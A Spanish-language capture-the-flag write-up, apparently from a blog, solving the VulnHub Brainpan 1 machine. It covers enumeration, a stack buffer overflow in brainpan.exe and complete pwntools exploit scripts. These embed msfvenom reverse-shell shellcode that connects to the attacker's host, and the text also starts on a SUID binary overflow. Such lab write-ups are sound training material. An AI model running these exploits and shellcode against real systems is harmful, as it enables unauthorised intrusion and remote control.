xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnHub

Brainpan 1



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, aunque realmente solo encontramos 2 puertos abiertos, el 9999 y el 10000.

❯ nmap 192.168.100.2
Nmap scan report for 192.168.100.2
PORT      STATE    SERVICE
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt

Al conectarnos con al puerto 9999 vemos programa que nos pide una contraseña.

❯ netcat 192.168.100.2 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >>

Si enviamos una contraseña incorrecta nos devuelve ACCESS DENIED y termina.

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >> 1234
                          ACCESS DENIED

El puerto 10000 corre un servicio http, que en el index tiene solo una imagen que nos habla de vulnerabilidades comunes y tal, pero no nos aporta demasiado.

Podemos usar wfuzz para aplicar fuerza bruta y encontramos un directorio /bin.

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.2:10000/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.2:10000/FUZZ
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000854:   301        0 L      0 W        0 Ch        "bin"

Si lo miramos desde el navegador podemos ver que tenemos capacidad de listar recursos, este directorio nos comparte un archivo llamado brainpan.exe.

Como es un archivo .exe podemos pasarlo a una máquina windows y ejecutarlo, al hacerlo solo nos dice que se pone en espera de conexiones por el puerto 9999.

PS C:\Users\user\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Nos podemos conectar con netcat al puerto 9999 esta vez usando como dirección la ip de nuestra máquina windows y vemos la misma aplicación de antes.

❯ netcat 192.168.100.5 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >>

Para entender su funcionamiento podemos desensamblarlo con IDA, iniciamos con la función main(), esta inicia definiendo los offsets para varias strings, luego de mostrar un mensaje con printf inicializa winsock llamando a la función WSAStartup.

Luego llama a socket para crear un socket y utiliza htons para darle formato al puerto, después llama a la función bind para vincular el socket a la dirección.

En el siguiente bloque llama a listen para ponerse en escucha en el puerto especificado en este caso el 9999 y muestra con printf que está en escucha de conexiones, luego llama a accept para aceptar las conexiones entrantes.

Una vez recibe una nueva conexión llama a recv para recibir un buffer previamente asignado con memset, una vez recibe los datos llama a la función get_reply a la que como argumento le pasa el buffer recibido, es personalizada asi que la analizaremos.

La función get_reply recibe el buffer como argumento y utiliza strcpy para copiarlo a un destino que setea en ebp - 520, luego compara lo que acaba de copiar con la cadena shitstorm\n utilizando strcmp para saber si devolver true o false.

Nos conectamos al puerto 9999 y enviamos la cadena shitstorm que encontramos, sin embargo aunque nos devuelve ACCESS GRANTED el programa termina ahí.

❯ netcat 192.168.100.2 9999
_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]
                          ENTER THE PASSWORD

                          >> shitstorm
                          ACCESS GRANTED


Shell - puck


Para poder debuggear el ejecutable correremos la aplicación dentro WinDbg.

Iniciaremos por llenar con A's los 520 bytes que se reservaron antes de ebp, luego 4 B's bytes que van a sobrescribir el valor de ebp en el leave, y luego 4 C's que van a sobrescribir el return address, finalmente algunas D's para guardar en el stack.

#!/usr/bin/python3
from pwn import remote

payload  = b""
payload += b"A" * 520
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 40

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Luego de enviar el exploit podemos ver que ebp toma el valor 0x42424242 que equivale a 4 B's en hexadecimal y el eip toma el valor de retorno que son las C's, también vemos las D's que enviamos en el stack, concluimos el offset al return address son 524 bytes y que nuestra data que sigue se guarda en el stack.

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999

0:000> g
(243c.26c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=002d8000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=43434343 esp=005ff910 ebp=42424242 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
43434343 ??              ???

0:000> r ebp
ebp=42424242

0:000> r eip
eip=43434343

0:000> db esp
005ff910  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
005ff920  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
005ff930  44 44 44 44 44 44 44 44-0a 00 00 00 10 00 00 00  DDDDDDDD........
005ff940  45 ff ff ff 98 33 6e 00-03 00 00 05 12 00 00 00  E....3n.........
005ff950  02 00 9a 5a c0 a8 64 49-00 00 00 00 00 00 00 00  ...Z..dI........
005ff960  02 00 27 0f 00 00 00 00-00 00 00 00 18 00 00 00  ..'.............
005ff970  90 00 00 00 00 00 00 00-60 01 00 00 58 01 00 00  ........`...X...
005ff980  02 02 02 02 57 69 6e 53-6f 63 6b 20 32 2e 30 00  ....WinSock 2.0.

Lo siguiente sera detectar badbytes por lo que crearemos una lista con todos los caracteres posibles, esto nos creará una lista de bytes de 0x0 hasta 0xff.

❯ python3 -q
>>> bytes(range(0, 256))
b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'
>>>

Modificaremos el script para que en el stack luego del return address se guarden los posibles badbytes, luego compararemos en el debugger si se alteraron los bytes.

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset

badbytes = bytes(range(0, 256))

payload  = b""
payload += junk
payload += b"B" * 4
payload += badbytes

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Lo siguiente que haremos es comparar el array original con la dirección del esp actual, como resultado nos muestra que se corrompe después de 1 byte quiere decir que el 00 está corrompiendo el resto de caracteres que están delante de él.

0:000> g
(a70.3d54): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00388000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
42424242 ??              ???

0:000> db esp
005ff910  00 fb 5f 00 30 fb 5f 00-e8 03 00 00 00 00 00 00  .._.0._.........
005ff920  f9 c8 30 47 92 00 00 00-02 00 04 06 00 00 6d 00  ..0G..........m.
005ff930  3c 01 04 39 00 00 6d 00-80 77 6e 00 10 00 00 00  <..9..m..wn.....
005ff940  00 00 6d 00 00 00 6d 00-bd 2b a4 77 58 74 6e 00  ..m...m..+.wXtn.
005ff950  02 00 e7 d6 c0 a8 64 05-00 00 00 00 00 00 00 00  ......d.........
005ff960  02 00 27 0f 00 00 00 00-38 78 6e 00 63 01 00 50  ..'.....8xn.c..P
005ff970  09 00 00 00 cf fe ff ff-4c 01 00 00 48 01 00 00  ........L...H...
005ff980  02 02 02 02 57 69 6e 53-6f 63 6b 20 32 2e 30 00  ....WinSock 2.0.

Modificamos el script ahora con el nuevo bytearray que no incluye el caractér 0x00.

badbytes = bytes(range(0, 256)).translate(None, b"\x00")

Enviamos y volvemos a comparar los bytes, podemos ver que todos los bytes se almacenaron correctamente en el programa por lo que no hay mas badbytes.

0:000> g
ModLoad: 72d50000 72da4000   C:\WINDOWS\SysWOW64\mswsock.dll
(57d4.4b18): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=00241000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
42424242 ??              ???

0:000> db esp L100
005ff910  01 02 03 04 05 06 07 08-09 0a 0b 0c 0d 0e 0f 10  ................
005ff920  11 12 13 14 15 16 17 18-19 1a 1b 1c 1d 1e 1f 20  ............... 
005ff930  21 22 23 24 25 26 27 28-29 2a 2b 2c 2d 2e 2f 30  !"#$%&'()*+,-./0
005ff940  31 32 33 34 35 36 37 38-39 3a 3b 3c 3d 3e 3f 40  123456789:;<=>?@
005ff950  41 42 43 44 45 46 47 48-49 4a 4b 4c 4d 4e 4f 50  ABCDEFGHIJKLMNOP
005ff960  51 52 53 54 55 56 57 58-59 5a 5b 5c 5d 5e 5f 60  QRSTUVWXYZ[\]^_`
005ff970  61 62 63 64 65 66 67 68-69 6a 6b 6c 6d 6e 6f 70  abcdefghijklmnop
005ff980  71 72 73 74 75 76 77 78-79 7a 7b 7c 7d 7e 7f 80  qrstuvwxyz{|}~..
005ff990  81 82 83 84 85 86 87 88-89 8a 8b 8c 8d 8e 8f 90  ................
005ff9a0  91 92 93 94 95 96 97 98-99 9a 9b 9c 9d 9e 9f a0  ................
005ff9b0  a1 a2 a3 a4 a5 a6 a7 a8-a9 aa ab ac ad ae af b0  ................
005ff9c0  b1 b2 b3 b4 b5 b6 b7 b8-b9 ba bb bc bd be bf c0  ................
005ff9d0  c1 c2 c3 c4 c5 c6 c7 c8-c9 ca cb cc cd ce cf d0  ................
005ff9e0  d1 d2 d3 d4 d5 d6 d7 d8-d9 da db dc dd de df e0  ................
005ff9f0  e1 e2 e3 e4 e5 e6 e7 e8-e9 ea eb ec ed ee ef f0  ................
005ffa00  f1 f2 f3 f4 f5 f6 f7 f8-f9 fa fb fc fd fe ff 0a  ................

Si miramos con ropper encontramos que el binario brainpan.exe no tiene ninguna protección, asi que podemos ejecutar un shellcode malicioso en la pila.

❯ ropper --file brainpan.exe --dllcharacteristics

DllCharacteristics
==================

Name                 Value
----                 -----
DynamicBase          NO
ForceIntegrity       NO
NxCompat             NO
No Isolation         NO
No SEH               NO
No Bind              NO
WdmDriver            NO
ControlFLowGuard     NO
TerminalServerAware  NO

Sabemos que el resto de los datos se guardan en el stack, para que se interprete necesitamos un gadget que ejecute la instrucción jmp esp o una equivalente.

❯ ropper --file brainpan.exe --jmp esp

JMP Instructions
================

0x311712f3: jmp esp;

1 gadgets found

Ahora solo necesitamos el shellcode que se interpretará al saltar al stack, podemos crear uno fácilmente con msfvenom que nos envie una revshell, esto lo haremos indicando los badbytes para que el shellcode no los tenga y evitar problemas, usaremos también un encoder específico como x86/jmp_call_additive porque sabemos que las instrucciones de x86/shikata_ga_nai nos darán problemas.

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"
shellcode += b"\x60"

Nuestro exploit final llena con 524 A's el espacio que existe antes de sobrescribir el return address que se sobrescribe con un gadget que ejecuta un jmp esp y al estar el shellcode que creamos en el stack cuando salta nos envía una revshell.

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xfc\xbb\x37\xc9\x1e\xb2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xcb\x21\x9c\xb2\x33\xb2\xc1\x3b"
shellcode += b"\xd6\x83\xc1\x58\x93\xb4\xf1\x2b\xf1\x38\x79"
shellcode += b"\x79\xe1\xcb\x0f\x56\x06\x7b\xa5\x80\x29\x7c"
shellcode += b"\x96\xf1\x28\xfe\xe5\x25\x8a\x3f\x26\x38\xcb"
shellcode += b"\x78\x5b\xb1\x99\xd1\x17\x64\x0d\x55\x6d\xb5"
shellcode += b"\xa6\x25\x63\xbd\x5b\xfd\x82\xec\xca\x75\xdd"
shellcode += b"\x2e\xed\x5a\x55\x67\xf5\xbf\x50\x31\x8e\x74"
shellcode += b"\x2e\xc0\x46\x45\xcf\x6f\xa7\x69\x22\x71\xe0"
shellcode += b"\x4e\xdd\x04\x18\xad\x60\x1f\xdf\xcf\xbe\xaa"
shellcode += b"\xfb\x68\x34\x0c\x27\x88\x99\xcb\xac\x86\x56"
shellcode += b"\x9f\xea\x8a\x69\x4c\x81\xb7\xe2\x73\x45\x3e"
shellcode += b"\xb0\x57\x41\x1a\x62\xf9\xd0\xc6\xc5\x06\x02"
shellcode += b"\xa9\xba\xa2\x49\x44\xae\xde\x10\x01\x03\xd3"
shellcode += b"\xaa\xd1\x0b\x64\xd9\xe3\x94\xde\x75\x48\x5c"
shellcode += b"\xf9\x82\xaf\x77\xbd\x1c\x4e\x78\xbe\x35\x95"
shellcode += b"\x2c\xee\x2d\x3c\x4d\x65\xad\xc1\x98\x2a\xfd"
shellcode += b"\x6d\x73\x8b\xad\xcd\x23\x63\xa7\xc1\x1c\x93"
shellcode += b"\xc8\x0b\x35\x3e\x33\xdc\xfa\x17\x5f\x55\x93"
shellcode += b"\x65\x9f\x64\xd8\xe3\x79\x0c\x0e\xa2\xd2\xb9"
shellcode += b"\xb7\xef\xa8\x58\x37\x3a\xd5\x5b\xb3\xc9\x2a"
shellcode += b"\x15\x34\xa7\x38\xc2\xb4\xf2\x62\x45\xca\x28"
shellcode += b"\x0a\x09\x59\xb7\xca\x44\x42\x60\x9d\x01\xb4"
shellcode += b"\x79\x4b\xbc\xef\xd3\x69\x3d\x69\x1b\x29\x9a"
shellcode += b"\x4a\xa2\xb0\x6f\xf6\x80\xa2\xa9\xf7\x8c\x96"
shellcode += b"\x65\xae\x5a\x40\xc0\x18\x2d\x3a\x9a\xf7\xe7"
shellcode += b"\xaa\x5b\x34\x38\xac\x63\x11\xce\x50\xd5\xcc"
shellcode += b"\x97\x6f\xda\x98\x1f\x08\x06\x39\xdf\xc3\x82"
shellcode += b"\x49\xaa\x49\xa2\xc1\x73\x18\xf6\x8f\x83\xf7"
shellcode += b"\x35\xb6\x07\xfd\xc5\x4d\x17\x74\xc3\x0a\x9f"
shellcode += b"\x65\xb9\x03\x4a\x89\x6e\x23\x5f\x89\x90\xdb"
shellcode += b"\x60"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode

shell = remote("192.168.100.5", 9999)
shell.sendlineafter(b">> ", payload)

Nos ponemos en escucha con netcat y corremos el exe desde una shell normal.

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443

PS C:\Users\user\Desktop> .\brainpan.exe
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Ejecutamos el exploit y el programa corrompe devolviendo al instante una shell.

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done
[*] Closed connection to 192.168.100.5 port 9999

❯ sudo netcat -lvnp 443 
Listening on 0.0.0.0 443
Connection received on 192.168.100.5
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Windows\System32> whoami
xchg2pwn\user

C:\Windows\System32>

Ahora funciona y simplemente cambiamos la dirección ip de el apartado de remote.

shell = remote("192.168.100.2", 9999)

Corremos el exploit y recibimos una shell de la máquina victima en la unidad Z:.

❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done
[*] Closed connection to 192.168.100.2 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2
CMD Version 1.4.1

Z:\home\puck> whoami
File not found.

Z:\home\puck>

No podemos hacer un simple whoami, sin embargo al mirar la estrucrura de los directorios en la raíz podemos ver que la estructura es la de un Linux.

Z:\home\puck> dir Z:\
Volume in drive Z has no label.
Volume Serial Number is 0000-0000

Directory of Z:

  3/4/2013   1:02 PM  <DIR>         bin
  3/4/2013  11:19 AM  <DIR>         boot
  4/7/2023  11:09 PM  <DIR>         etc
  3/4/2013  11:49 AM  <DIR>         home
  3/4/2013  11:18 AM    15,084,717  initrd.img
  3/4/2013  11:18 AM    15,084,717  initrd.img.old
  3/4/2013   1:04 PM  <DIR>         lib
  3/4/2013  10:12 AM  <DIR>         lost+found
  3/4/2013  10:12 AM  <DIR>         media
 10/9/2012   9:59 AM  <DIR>         mnt
  3/4/2013  10:13 AM  <DIR>         opt
  3/7/2013  11:07 PM  <DIR>         root
  4/7/2023  11:09 PM  <DIR>         run
  3/4/2013  11:20 AM  <DIR>         sbin
 6/11/2012   9:43 AM  <DIR>         selinux
  3/4/2013  10:13 AM  <DIR>         srv
  4/8/2023  12:29 AM  <DIR>         tmp
  3/4/2013  10:13 AM  <DIR>         usr
  8/5/2019   3:47 PM  <DIR>         var
 2/25/2013   2:32 PM     5,180,432  vmlinuz
 2/25/2013   2:32 PM     5,180,432  vmlinuz.old
       4 files               40,530,298 bytes
      17 directories     13,849,333,760 bytes free

Z:\home\puck>

Basta con ejecutar la ruta absoluta del binario sh para obtener una shell de Linux.

Z:\home\puck> /bin/sh
sh: turning off NDELAY mode

script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.2 
puck@brainpan:~$

Otra forma es cambiando el payload msfvenom a uno de linux x86 para recibir una sh.

❯ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 97 (iteration=0)
x86/jmp_call_additive chosen with final size 97
Payload size: 97 bytes
Final size of python file: 558 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"

Modificamos el script, lo ejecutamos y recibimos directamente una sh de Linux.

#!/usr/bin/python3
from pwn import remote, p32

offset = 524
junk = b"A" * offset

shellcode =  b""
shellcode += b"\xfc\xbb\x2d\x10\x84\x11\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x1c\xcb\x73\xf2\x0d\xa8\x28\x9f"
shellcode += b"\xb3\xa7\x2e\xef\xd5\x7a\x30\x83\x40\x35\x0e"
shellcode += b"\x69\xf2\x7c\x08\x88\x9a\xbe\x42\x0e\x13\x57"
shellcode += b"\x91\xcf\xa2\x1c\x1c\x2e\x14\x04\x4f\xe0\x07"
shellcode += b"\x7a\x6c\x8b\x46\xb1\xf3\xd9\xe0\x24\xdb\xae"
shellcode += b"\x98\xd0\x0c\x7e\x3a\x48\xda\x63\xe8\xd9\x55"
shellcode += b"\x82\xbc\xd5\xa8\xc5\xbc\xe9\x32\xc6"

payload  = b""
payload += junk
payload += p32(0x311712f3) # jmp esp;
payload += shellcode

shell = remote("192.168.100.2", 9999)
shell.sendlineafter(b">> ", payload)

❯ python3 exploit.py
[+] Opening connection to 192.168.100.2 on port 9999: Done
[*] Closed connection to 192.168.100.2 port 9999

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.2
script /dev/null -c bash
puck@brainpan:~$ id
uid=1002(puck) gid=1002(puck) groups=1002(puck)
puck@brainpan:~$ hostname -I
192.168.100.2
puck@brainpan:~$


Shell - anansi


Buscando archivos suid hay uno que sobresale, un binario personalizado validate.

puck@brainpan:~$ find / -perm -u+s 2>/dev/null
/bin/umount
/bin/su
/bin/mount
/bin/fusermount
/bin/ping6
/bin/ping
/usr/bin/sudo
/usr/bin/mtr
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/sudoedit
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/lppasswd
/usr/bin/passwd
/usr/bin/gpasswd
/usr/sbin/uuidd
/usr/sbin/pppd
/usr/local/bin/validate
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
puck@brainpan:~$

El binario pertenece al usuario anansi y tiene el privilegio suid en los permisos.

puck@brainpan:~$ ls -l /usr/local/bin/validate
-rwsr-xr-x 1 anansi anansi 8761 Mar  4  2013 /usr/local/bin/validate
puck@brainpan:~$

Al ejecutarlo nos pide un input, asi que le pasamos test como input aunque realmente no queda muy claro que es lo que hace con él, solo devuelve un mensaje.

puck@brainpan:~$ validate
usage validate <input>
puck@brainpan:~$ validate test
validating input...passed.
puck@brainpan:~$

Podemos descargar el binario usando netcat a nuestra máquina para analizarlo.

puck@brainpan:~$ netcat 192.168.100.73 4444 < /usr/local/bin/validate
puck@brainpan:~$

❯ netcat -lvnp 4444 > validate
Listening on 0.0.0.0 4444
Connection received on 192.168.100.2

Para analizarlo podemos abrir el binario con ida y ver el desensamblado, la función main inicia mostrando un mensaje con printf y llamando a la función validate pasandole el contenido del primer argumento y luego hace un salto condicional.

La función validate recibe el argumento e inicia declarando un iterador llamado i a 0, toma la longitud del argumento con strlen que es muy probable que sea el tope del bucle sobre el que se va a iterar para realizar otras operaciones que analizaremos.

La iteración es para comparar el caracter actual con la F, si es igual muestra un mensaje con printf y sale con exit, si no es igual continua el bucle, cuando termina el bucle define un buffer en ebp - 112 y llama a strcpy para copiar el argumento en ese buffer, resumiendo tenemos un Buffer Overflow y a F o 0x46 como badbyte.

Con checksec podemos ver que el binario no tiene ninguna protección a evitar.

❯ checksec validate
[*] '/home/user/validate'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

Iniciamos creando nuestro payload, llenaremos con A's los 112 bytes del buffer antes de ebp, luego enviamos 4 B's para el valor que tomará ebp en el leave, luego 4 C's del return address, además algunas D's que se guardarán en el stack.

❯ python3 -q
>>> b"A" * 112 + b"B" * 4 + b"C" * 4 + b"D" * 40
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD'
>>>

Enviamos el payload como el argumento y podemos ver que nuestra hipótesis se cumple ya que el eip apunta a 0x43434343, concluimos que el offset para el return address es de 116 bytes y el resto de los bytes, oséa las D's se guardan en el stack.

❯ gdb -q validate
Reading symbols from validate...
